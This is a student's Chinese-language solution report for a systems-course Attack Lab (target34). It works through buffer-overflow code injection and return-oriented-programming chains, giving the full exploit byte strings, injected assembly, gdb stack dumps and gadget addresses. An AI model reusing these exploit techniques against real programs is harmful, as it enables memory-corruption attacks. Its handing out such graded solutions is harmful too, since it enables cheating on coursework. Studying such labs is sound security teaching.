Attack Lab Report

target34

Part I: Code Injection Attacks

Phase 1

让`getbuf`返回时执行`touch1`而非`test`，即返回到`touch1`的起始地址。

`getbuf`中`sub $0x28,%rsp`说明缓冲区有0x28即40位，再高4位就是正常返回的地址。因此需要利用缓冲区溢出覆写返回地址。构建输入`c1.txt`如下：

```
00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00  2c 17 40 00
```

每两位十六进制数对应一个char，即构建了一个长度为44的字符串。前40位仅是为了填充缓冲区，最后4位是小端法下的`touch1`地址（通过`objdump -d ctarget`查看）。使用`hex2raw < c1.txt | ./ctarget`实施攻击。

Phase 2

让`getbuf`返回时执行`touch2`，同时还需要传入特定的参数（cookie）。可以通过代码注入来实现。构建代码`c2.s`如下：

```
mov    $0x43227a88,%rdi
pushq  $0x401758
retq
```

其中第一句把cookie放入rdi作为第一个参数，后两句返回到`touch2`的地址。

接下来`gcc -c c2.s && objdump -d c2.o > c2.s`得到指令码：

```
p2.o:     file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
   0: 48 c7 c7 88 7a 22 43  mov    $0x43227a88,%rdi
   7: 68 58 17 40 00        pushq  $0x401758
   c: c3                    retq
```

把这些指令作为输入后，三条指令就在栈上了。因此修改返回地址到获取输入前的栈指针rsp就可以运行这些栈上的代码。可以用gdb查看当时的rsp位置。`gdb ctarget`；`b getbuf`；`r`；`step`；`i r rsp`得到rsp值为0x5560f988。因此构建输入`c2.txt`如下：

```
48 c7 c7 88  7a 22 43 68  58 17 40 00  c3 00 00 00
00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00  88 f9 60 55
```

然后`hex2raw < c2.txt | ./ctarget`。

Phase 3

与phase2类似，这次需要传入一个地址，指向字符串形式的cookie。除了代码注入，还需要找个地方放字符串。最直接的做法是像指令一样通过输入放到栈上，然而在输入后到使用字符串之间会涉及调用`hexmatch`，可能会使用栈上的一些空间，所以需要找到一块不受影响的位置存放字符串。

先构造代码如下：

```
mov    $0x5560f988,%rdi
pushq  $0x401869
retq
```

基本与phase2相同，只是把rdi的值暂时改成了`getbuf`内的rsp值，然后返回到`touch3`。像之前一样构建输入，gdb中在`hexmatch`前后设好断点后运行：

```
Breakpoint 1, 0x000000000040187a in touch3 (sval=0x5560f9c8 "") at visible.c:73
73      visible.c: Permission denied.
(gdb) x/32x 0x5560f988
0x5560f988:     0x88c7c748      0x685560f9      0x00401869      0x000000c3
0x5560f998:     0x00000000      0x00000000      0x00000000      0x00000000
0x5560f9a8:     0x00000000      0x00000000      0x55586000      0x00000000
0x5560f9b8:     0x00000008      0x00000000      0x00401e7c      0x00000000
0x5560f9c8:     0x00000000      0x00000000      0xf4f4f4f4      0xf4f4f4f4
0x5560f9d8:     0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
0x5560f9e8:     0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
0x5560f9f8:     0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
(gdb) c
Continuing.

Breakpoint 2, 0x0000000000401885 in touch3 (sval=0x5560f9c8 "") at visible.c:73
73      in visible.c
(gdb) x/32x 0x5560f988
0x5560f988:     0xbe80c500      0x9a5700ba      0x5560f9c8      0x00000000
0x5560f998:     0x55685fe8      0x00000000      0x00000003      0x00000000
0x5560f9a8:     0x00401885      0x00000000      0x55586000      0x00000000
0x5560f9b8:     0x00000008      0x00000000      0x00401e7c      0x00000000
0x5560f9c8:     0x00000000      0x00000000      0xf4f4f4f4      0xf4f4f4f4
0x5560f9d8:     0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
0x5560f9e8:     0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
0x5560f9f8:     0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
```

观察发现在0x5560f9a8及之前的位置都有值改变，之后的位置应该是安全的。尝试在紧接其后的位置0x5560f9b8（方便起见空了4个byte）放字符串，则代码及输入如下：

```
mov    $0x5560f9b8,%rdi
pushq  $0x401869
retq
```

```
48 c7 c7 b8  f9 60 55 68  69 18 40 00  c3 00 00 00
00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00  88 f9 60 55  00 00 00 00
34 33 32 32  37 61 38 38  00 00 00 00
```

运行发现可行。（cookie的字符串形式可以在python中运行`[hex(ord(c)) for c in "<cookie>"]`得到）

Part II: Return-Oriented Programming

Phase 4

与phase2要求一致，但是不能运行栈上的代码，即做不了代码注入，需要利用`rtarget`里已有的指令，发现一些gadget。

要实现以cookie为参数调用`touch2`，可以构建指令如下：

```
popq   %rdi
ret
```

或者先pop到另一个寄存器再move到rdi中：

```
popq   %rax
movq   %rax,%rdi
ret
```

popq编码是58到5f，但是在farm段里没有找到之后接着c3的（包括隔着nop），于是在全文件搜，在`submitr`末尾正好有5f c3，起始地址是402a4b。因此构建输入如下：

```
00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00  4b 2a 40 00  00 00 00 00
88 7a 22 43  00 00 00 00  58 17 40 00  00 00 00 00
```

前面40个byte仍是为了填充缓冲区，之后分别是gadget地址，cookie和`target2`地址，要注意小端法和对齐（popq一次拿8个byte）。

提交后发现被判定为invalid了，看来只能运行farm段里的代码。于是尝试利用下面两个函数里的58 90 90 c3和48 89 c7 c3，分别对应`popq %rax; ret`（如果忽略中间的90 90）和`movq %rax,%rdi; ret`。

```
000000000040191a <getval_104>:
  40191a: b8 48 89 c7 c3        mov    $0xc3c78948,%eax
  40191f: c3                    retq
...
0000000000401927 <setval_484>:
  401927: c7 07 58 90 90 c3     movl   $0xc3909058,(%rdi)
  40192d: c3                    retq
```

则输入如下：

```
00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00  29 19 40 00  00 00 00 00
88 7a 22 43  00 00 00 00  1b 19 40 00  00 00 00 00
58 17 40 00  00 00 00 00
```

这次通过了。

Phase 5

与phase3要求一致。输入完栈上从栈顶到栈底设计如下：

```
movq    %rsp,%rax
movq    %rax,%rdi
popq    %rax
$0x48 (offset)
movl    %eax,%ecx
movl    %ecx,%edx
movl    %edx,%esi
lea     (%rdi,%rsi,1),%rax # available at <add_xy>
movq    %rax,%rdi
$0x401869 (<touch3>)
"..." (cookie)
```

前面到lea的一堆都是为了拿到cookie字符串的地址：rsp+offset。执行第一句时rsp已经指向下一句了，因此偏移量是8*9=72=0x48个byte。最后用这个地址作为参数调用`touch3`。输入如下：

```
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  16 1a 40 00 00 00 00 00
1b 19 40 00 00 00 00 00  29 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00  78 19 40 00 00 00 00 00
9f 19 40 00 00 00 00 00  49 19 40 00 00 00 00 00
42 19 40 00 00 00 00 00  1b 19 40 00 00 00 00 00
69 18 40 00 00 00 00 00  34 33 32 32 37 61 38 38
00 00 00 00 00 00 00 00
```